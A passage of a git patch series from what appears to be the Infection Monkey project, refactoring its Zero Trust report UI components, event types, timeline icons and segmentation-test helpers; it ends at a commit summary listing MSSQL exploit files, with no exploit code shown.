is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): # type: (Monkey, str, str, str) -> bool """ @@ -39,23 +59,6 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s return cross_segment_ip is not None -def test_segmentation_violation(current_monkey, target_ip): - # TODO - lower code duplication between this and report.py. - subnet_groups = get_config_network_segments_as_subnet_groups() - for subnet_group in subnet_groups: - subnet_pairs = itertools.product(subnet_group, subnet_group) - for subnet_pair in subnet_pairs: - source_subnet = subnet_pair[0] - target_subnet = subnet_pair[1] - if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): - event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) - SegmentationFinding.create_or_add_to_existing_finding( - subnets=[source_subnet, target_subnet], - status=STATUS_FAILED, - segmentation_event=event - ) - - def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet): return Event.create_event( title="Segmentation event", @@ -93,13 +96,16 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): SegmentationFinding.create_or_add_to_existing_finding( subnets=list(subnet_pair), status=STATUS_PASSED, - segmentation_event=Event.create_event( - "Segmentation test done", - message="Monkey on {hostname} is done attempting cross-segment communications from `{src_seg}` " - "segments to `{dst_seg}` segments.".format( - hostname=current_monkey.hostname, - src_seg=subnet_pair[0], - dst_seg=subnet_pair[1]), - event_type=EVENT_TYPE_ISLAND - ) + segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair) ) + + +def get_segmentation_done_event(current_monkey, subnet_pair): + return Event.create_event( + title="Segmentation test done", + message=SEGMENTATION_DONE_EVENT_TEXT.format( + hostname=current_monkey.hostname, + src_seg=subnet_pair[0], + dst_seg=subnet_pair[1]), + event_type=EVENT_TYPE_ISLAND + ) From 8f8f2738599942d0f6f2f7ace7249ad26163502f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 14:43:54 +0300 Subject: [PATCH 204/276] Seperated main sections to components --- .../components/pages/ZeroTrustReportPage.js | 90 +++---------------- .../zerotrust/FindingsSection.js | 10 ++- .../zerotrust/RecommendationsSection.js | 30 +++++++ .../zerotrust/SummarySection.js | 52 +++++++++++ 4 files changed, 102 insertions(+), 80 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index cec603f0e..c0d1f1bed 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -1,16 +1,14 @@ import React, {Fragment} from 'react'; -import {Col, Grid, Row} from 'react-bootstrap'; +import {Col} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; -import PillarsOverview from "../report-components/zerotrust/PillarOverview"; -import FindingsSection from "../report-components/zerotrust/FindingsSection"; -import SinglePillarRecommendationsStatus from "../report-components/zerotrust/SinglePillarRecommendationsStatus"; -import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; import PrintReportButton from "../report-components/common/PrintReportButton"; import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; -import ZeroTrustReportLegend from "../report-components/zerotrust/ReportLegend"; +import SummarySection from "../report-components/zerotrust/SummarySection"; +import FindingsSection from "../report-components/zerotrust/FindingsSection"; +import RecommendationsSection from "../report-components/zerotrust/RecommendationsSection"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -25,7 +23,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { componentDidMount() { this.updatePageState(); - const refreshInterval = setInterval(this.updatePageState, 8000) + const refreshInterval = setInterval(this.updatePageState, 8000); this.setState( {refreshDataIntervalHandler: refreshInterval} ) @@ -73,9 +71,10 @@ class ZeroTrustReportPageComponent extends AuthComponent { content = ; } else { content =
    - {this.generateOverviewSection()} - {this.generateRecommendationsSection()} - {this.generateFindingsSection()} + + +
    ; } @@ -100,75 +99,10 @@ class ZeroTrustReportPageComponent extends AuthComponent { ) } - generateOverviewSection() { - return (
    -

    Summary

    - - -
    - -

    - Get a quick glance of the status for each of Zero Trust's seven pillars. -

    - - - -
    - - - - - - - - -

    What am I seeing?

    -

    - The Zero Trust eXtended framework categorizes its recommendations into 7 pillars. Infection Monkey - Zero Trust edition tests some of those recommendations. The tests that the monkey executes - produce findings. The tests, recommendations and pillars are then granted a status in accordance - with the tests results. -

    - - - - ); - } - - generateRecommendationsSection() { - return (
    -

    Recommendations

    -

    - Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results - to understand how the monkey tested your adherence to that recommendation. -

    - { - Object.keys(this.state.recommendations).map((pillar) => - - ) - } -
    ); - } - - generateFindingsSection() { - return (
    -

    Findings

    -

    - Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things - happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper - insight as to what exactly happened during this test. -

    - -
    ); - } - stillLoadingDataFromServer() { - return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.recommendations === "undefined"; + return typeof this.state.findings === "undefined" + || typeof this.state.pillars === "undefined" + || typeof this.state.recommendations === "undefined"; } getZeroTrustReportFromServer() { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index eed4c0f8c..ebbd09dda 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -8,11 +8,17 @@ import {FindingsTable} from "./FindingsTable"; class FindingsSection extends Component { render() { return ( - +
    +

    Findings

    +

    + Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things + happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper + insight as to what exactly happened during this test. +

    - +
    ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js new file mode 100644 index 000000000..28fda3f2b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js @@ -0,0 +1,30 @@ +import React, {Component} from "react"; +import SinglePillarRecommendationsStatus from "./SinglePillarRecommendationsStatus"; +import * as PropTypes from "prop-types"; + +export default class RecommendationsSection extends Component { + render() { + + return
    +

    Recommendations

    +

    + Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results + to understand how the monkey tested your adherence to that recommendation. +

    + { + Object.keys(this.props.recommendations).map((pillar) => + + ) + } +
    + } +} + +RecommendationsSection.propTypes = { + recommendations: PropTypes.any, + pillarsToStatuses: PropTypes.any +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js new file mode 100644 index 000000000..4a56a8b9e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js @@ -0,0 +1,52 @@ +import React, {Component} from "react"; +import {Col, Grid, Row} from "react-bootstrap"; +import MonkeysStillAliveWarning from "../common/MonkeysStillAliveWarning"; +import PillarsOverview from "./PillarOverview"; +import ZeroTrustReportLegend from "./ReportLegend"; +import * as PropTypes from "prop-types"; + +export default class SummarySection extends Component { + render() { + return
    +

    Summary

    + + +
    + +

    + Get a quick glance of the status for each of Zero Trust's seven pillars. +

    + + + +
    + + + + + + + + +

    What am I seeing?

    +

    + The Zero + Trust eXtended framework categorizes its recommendations into 7 pillars. Infection + Monkey + Zero Trust edition tests some of those recommendations. The tests that the monkey executes + produce findings. The tests, recommendations and pillars are then granted a status in + accordance + with the tests results. +

    + + + + + } +} + +SummarySection.propTypes = { + allMonkeysAreDead: PropTypes.bool, + pillars: PropTypes.object +}; From f05178baebc84835e1bf45c1cdcd4fb9858e519e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 14:47:49 +0300 Subject: [PATCH 205/276] Fixed proptypes --- .../report-components/zerotrust/RecommendationsSection.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js index 28fda3f2b..c8d160cb8 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js @@ -25,6 +25,6 @@ export default class RecommendationsSection extends Component { } RecommendationsSection.propTypes = { - recommendations: PropTypes.any, - pillarsToStatuses: PropTypes.any + recommendations: PropTypes.object, + pillarsToStatuses: PropTypes.object }; From cdc72eace718bc34b548422c5ff7e289e6813c87 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 14:52:14 +0300 Subject: [PATCH 206/276] Renamed overview to section --- .../components/report-components/zerotrust/FindingsSection.js | 2 +- .../report-components/zerotrust/RecommendationsSection.js | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index ebbd09dda..b90ccd6dc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -8,7 +8,7 @@ import {FindingsTable} from "./FindingsTable"; class FindingsSection extends Component { render() { return ( -
    +

    Findings

    Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js index c8d160cb8..e83d1c4cc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js @@ -4,8 +4,7 @@ import * as PropTypes from "prop-types"; export default class RecommendationsSection extends Component { render() { - - return

    + return

    Recommendations

    Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results From 4d50f0d8de2cb72e1fa91684e7aa678f1af5a7f8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 15:05:34 +0300 Subject: [PATCH 207/276] Map status to finding instead of calling function 3 times --- .../zerotrust/FindingsSection.js | 27 ++++++++++++++++--- 1 file changed, 23 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index b90ccd6dc..d86f5cb06 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -1,12 +1,30 @@ import React, {Component, Fragment} from "react"; import PillarLabel from "./PillarLabel"; import EventsButton from "./EventsButton"; -import {ZeroTrustStatuses} from "./ZeroTrustPillars"; +import ZeroTrustPillars, {ZeroTrustStatuses} from "./ZeroTrustPillars"; import {FindingsTable} from "./FindingsTable"; class FindingsSection extends Component { + mapFindingsByStatus() { + const statusToFindings = {}; + for (const key in ZeroTrustStatuses) { + statusToFindings[ZeroTrustStatuses[key]] = []; + } + + this.props.findings.map((finding) => { + // Deep copy + const newFinding = JSON.parse(JSON.stringify(finding)); + newFinding.pillars = newFinding.pillars.map((pillar) => { + return {name: pillar, status: this.props.pillarsToStatuses[pillar]} + }); + statusToFindings[newFinding.status].push(newFinding); + }); + return statusToFindings; + } + render() { + const findingsByStatus = this.mapFindingsByStatus(); return (

    Findings

    @@ -15,9 +33,10 @@ class FindingsSection extends Component { happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper insight as to what exactly happened during this test.

    - - - + + + +
    ); } From d7543e111717362e480a51b22e42b0ecb85e9220 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 15:38:57 +0300 Subject: [PATCH 208/276] Extracted magic numbers to consts and deleted unused css file --- .../zerotrust/FindingsTable.js | 10 ++++--- .../zerotrust/PillarLabel.js | 1 - .../zerotrust/RecommendationsStatusTable.js | 4 +-- .../cc/ui/src/styles/ZeroTrustPillars.css | 27 ------------------- 4 files changed, 8 insertions(+), 34 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 924ddf631..acff1df89 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -5,6 +5,8 @@ import * as PropTypes from "prop-types"; import PillarLabel from "./PillarLabel"; import EventsButton from "./EventsButton"; +const EVENTS_COLUMN_MAX_WIDTH = 160; +const PILLARS_COLUMN_MAX_WIDTH = 200; const columns = [ { columns: [ @@ -18,7 +20,7 @@ const columns = [ accessor: x => { return ; }, - maxWidth: 160, + maxWidth: EVENTS_COLUMN_MAX_WIDTH, }, { @@ -30,7 +32,7 @@ const columns = [ ); return
    {pillarLabels}
    ; }, - maxWidth: 200, + maxWidth: PILLARS_COLUMN_MAX_WIDTH, style: {'whiteSpace': 'unset'} }, ] @@ -41,8 +43,8 @@ const columns = [ export class FindingsTable extends Component { render() { return -

    {
    -
    } tests' findings

    +

    { + } tests' findings

    } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js index 0724f9a13..51c5ca380 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -1,5 +1,4 @@ import React, {Component} from "react"; -import 'styles/ZeroTrustPillars.css' import {statusToLabelType} from "./StatusLabel"; import * as PropTypes from "prop-types"; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js index e2f9259de..e1ba3f814 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js @@ -1,12 +1,12 @@ import React, {Fragment} from "react"; import PaginatedTable from "../common/PaginatedTable"; import AuthComponent from "../../AuthComponent"; -import 'styles/ZeroTrustPillars.css' import StatusLabel from "./StatusLabel"; import * as PropTypes from "prop-types"; import {ZeroTrustStatuses} from "./ZeroTrustPillars"; +const MAX_WIDTH_STATUS_COLUMN = 80; const columns = [ { columns: [ @@ -14,7 +14,7 @@ const columns = [ accessor: x => { return ; }, - maxWidth: 80 + maxWidth: MAX_WIDTH_STATUS_COLUMN }, { Header: 'ZT Recommendation', accessor: 'recommendation', style: {'whiteSpace': 'unset'} // This enables word wrap diff --git a/monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css b/monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css deleted file mode 100644 index 09b5289dc..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css +++ /dev/null @@ -1,27 +0,0 @@ -.label-zt-data { - background-color: #FAD02C !important; -} - -.label-zt-people { - background-color: #507581 !important; -} - -.label-zt-networks { - background-color: #746233 !important; -} - -.label-zt-devices { - background-color: #2F3B29 !important; -} - -.label-zt-workloads { - background-color: #0C1440 !important; -} - -.label-zt-analytics { - background-color: #6B8836 !important; -} - -.label-zt-automation { - background-color: #B4BC82 !important; -} From 68d185f5fd94ddc6f40dfaa79920e2b6681a19dc Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 16:00:04 +0300 Subject: [PATCH 209/276] Added new icons for timeline events types (and deleted the Island event type) --- monkey/common/data/zero_trust_consts.py | 3 +-- .../monkey_island/cc/models/zero_trust/test_event.py | 6 +++--- .../telemetry/zero_trust_tests/antivirus_existence.py | 4 ++-- .../telemetry/zero_trust_tests/data_endpoints.py | 6 +++--- .../telemetry/zero_trust_tests/segmentation.py | 5 ++--- .../report-components/zerotrust/EventsTimeline.js | 11 ++++++----- .../ui/src/images/zerotrust/im-alert-machine-icon.svg | 1 + .../ui/src/images/zerotrust/im-alert-network-icon.svg | 1 + 8 files changed, 19 insertions(+), 18 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg create mode 100644 monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 18c02e818..6742f435f 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -129,10 +129,9 @@ TESTS_MAP = { }, } -EVENT_TYPE_ISLAND = "island" EVENT_TYPE_MONKEY_NETWORK = "monkey_network" EVENT_TYPE_MONKEY_LOCAL = "monkey_local" -EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK, EVENT_TYPE_ISLAND) +EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK) PILLARS_TO_TESTS = { DATA: [], diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index 2542df8ef..c0742407d 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -1,6 +1,6 @@ from mongoengine import ValidationError -from common.data.zero_trust_consts import EVENT_TYPE_ISLAND +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -14,7 +14,7 @@ class TestEvent(IslandTestCase): _ = Event.create_event( title=None, # title required message="bla bla", - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK ) with self.assertRaises(ValidationError): @@ -28,5 +28,5 @@ class TestEvent(IslandTestCase): _ = Event.create_event( title="skjs", message="bla bla", - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index acfdf1643..588a31962 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -1,6 +1,6 @@ import json -from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, \ +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, \ STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event @@ -24,7 +24,7 @@ def test_antivirus_existence(telemetry_json): title="Found AV process", message="The process '{}' was recognized as an Anti Virus process. Process " "details: {}".format(process[1]['name'], json.dumps(process[1])), - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_LOCAL )) if len(av_processes) > 0: diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index a11f7694a..98f968e97 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -30,7 +30,7 @@ def test_open_data_endpoints(telemetry_json): events.append(Event.create_event( title="Scan telemetry analysis", message="Scanned service: {}.".format(service_name), - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK )) if service_name in HTTP_SERVERS_SERVICES_NAMES: found_http_server_status = STATUS_FAILED @@ -41,7 +41,7 @@ def test_open_data_endpoints(telemetry_json): telemetry_json["data"]["machine"]["ip_addr"], json.dumps(service_data) ), - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK )) if service_name == ES_SERVICE: found_elastic_search_server = STATUS_FAILED @@ -52,7 +52,7 @@ def test_open_data_endpoints(telemetry_json): telemetry_json["data"]["machine"]["ip_addr"], json.dumps(service_data) ), - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK )) Finding.save_finding( diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index 552192c23..50e60e493 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -1,8 +1,7 @@ import itertools from six import text_type -from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED, \ - EVENT_TYPE_ISLAND +from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet from monkey_island.cc.models import Monkey @@ -107,5 +106,5 @@ def get_segmentation_done_event(current_monkey, subnet_pair): hostname=current_monkey.hostname, src_seg=subnet_pair[0], dst_seg=subnet_pair[1]), - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index 9f9e1f899..a7dd1f855 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -2,11 +2,12 @@ import React, {Component} from "react"; import {Timeline, TimelineEvent} from "react-event-timeline"; import * as PropTypes from "prop-types"; +let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg'); +let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg'); + const eventTypeToIcon = { - "monkey_local": "fa fa-exclamation-circle fa-2x icon-warning", - "monkey_network": "fa fa-exclamation-circle fa-2x icon-warning", - "island": "fa fa-server fa-2x icon-info", - null: "fa fa-question-circle fa-2x icon-info", + "monkey_local": monkeyLocalIcon, + "monkey_network": monkeyNetworkIcon, }; export default class EventsTimeline extends Component { @@ -21,7 +22,7 @@ export default class EventsTimeline extends Component { key={index} createdAt={event_time} title={event.title} - icon={}> + icon={icon}> {event.message} ) }) diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg new file mode 100644 index 000000000..b62f48d5d --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg @@ -0,0 +1 @@ +im-alert-machine-icon \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg new file mode 100644 index 000000000..17d2fb6f6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg @@ -0,0 +1 @@ +im-alert-network-icon \ No newline at end of file From 871e7b11d77814ebfc7e6fa6ddbd6d022fe8781b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 18:12:08 +0300 Subject: [PATCH 210/276] Updated SVGs --- .../components/report-components/zerotrust/EventsTimeline.js | 1 + .../cc/ui/src/images/zerotrust/im-alert-machine-icon.svg | 2 +- .../cc/ui/src/images/zerotrust/im-alert-network-icon.svg | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index a7dd1f855..d6723bd4d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -22,6 +22,7 @@ export default class EventsTimeline extends Component { key={index} createdAt={event_time} title={event.title} + icon={icon}> {event.message} ) diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg index b62f48d5d..507541be4 100644 --- a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg @@ -1 +1 @@ -im-alert-machine-icon \ No newline at end of file +im-alert-machine-icon \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg index 17d2fb6f6..50dcc6726 100644 --- a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg @@ -1 +1 @@ -im-alert-network-icon \ No newline at end of file +im-alert-network-icon \ No newline at end of file From 6e0c974215497e3d9de44b4181baecddb7a90e69 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 18:19:49 +0300 Subject: [PATCH 211/276] Final CR comments, improved doc and extracted a saveJsonToFIle function --- monkey/common/network/segmentation_utils.py | 2 +- .../components/report-components/zerotrust/EventsModal.js | 8 ++++---- .../cc/ui/src/components/utils/SaveJsonToFile.js | 7 +++++++ 3 files changed, 12 insertions(+), 5 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py index aeff7f135..9bbaabf1d 100644 --- a/monkey/common/network/segmentation_utils.py +++ b/monkey/common/network/segmentation_utils.py @@ -15,7 +15,7 @@ def get_ip_if_in_subnet(ip_addresses, subnet): """ :param ip_addresses: IP address list. :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange - :return: The first IP in ip_addresses which is in the subnet. + :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None. """ for ip_address in ip_addresses: if subnet.is_in_range(ip_address): diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js index 5da053242..2ce25bf20 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js @@ -2,8 +2,8 @@ import React, {Component} from "react"; import {Modal} from "react-bootstrap"; import EventsTimeline from "./EventsTimeline"; import * as PropTypes from "prop-types"; -import FileSaver from "file-saver"; import ExportEventsButton from "./ExportEventsButton"; +import saveJsonToFile from "../../utils/SaveJsonToFile"; export default class EventsModal extends Component { constructor(props) { @@ -27,9 +27,9 @@ export default class EventsModal extends Component { Close { - const content = JSON.stringify(this.props.events, null, 2); - const blob = new Blob([content], {type: "text/plain;charset=utf-8"}); - FileSaver.saveAs(blob, this.props.exportFilename + ".json"); + const dataToSave = this.props.events; + const filename = this.props.exportFilename; + saveJsonToFile(dataToSave, filename); }}/>
    diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js new file mode 100644 index 000000000..6ad124457 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js @@ -0,0 +1,7 @@ +import FileSaver from "file-saver"; + +export default function saveJsonToFile(dataToSave, filename) { + const content = JSON.stringify(dataToSave, null, 2); + const blob = new Blob([content], {type: "text/plain;charset=utf-8"}); + FileSaver.saveAs(blob, filename + ".json"); +} From 63d07f9c4bfae894a3dc1516ffb6fd59b4c8e4bd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 15:51:13 +0300 Subject: [PATCH 212/276] Added unit tests, improved mssql readability --- monkey/infection_monkey/exploit/mssqlexec.py | 180 +++++++++--------- .../exploit/tools/exceptions.py | 5 + .../infection_monkey/exploit/tools/helpers.py | 7 + .../exploit/tools/http_tools.py | 32 +++- .../exploit/tools/payload_parsing.py | 17 +- .../exploit/tools/payload_parsing_test.py | 32 ++++ monkey/infection_monkey/monkey.py | 7 +- 7 files changed, 175 insertions(+), 105 deletions(-) create mode 100644 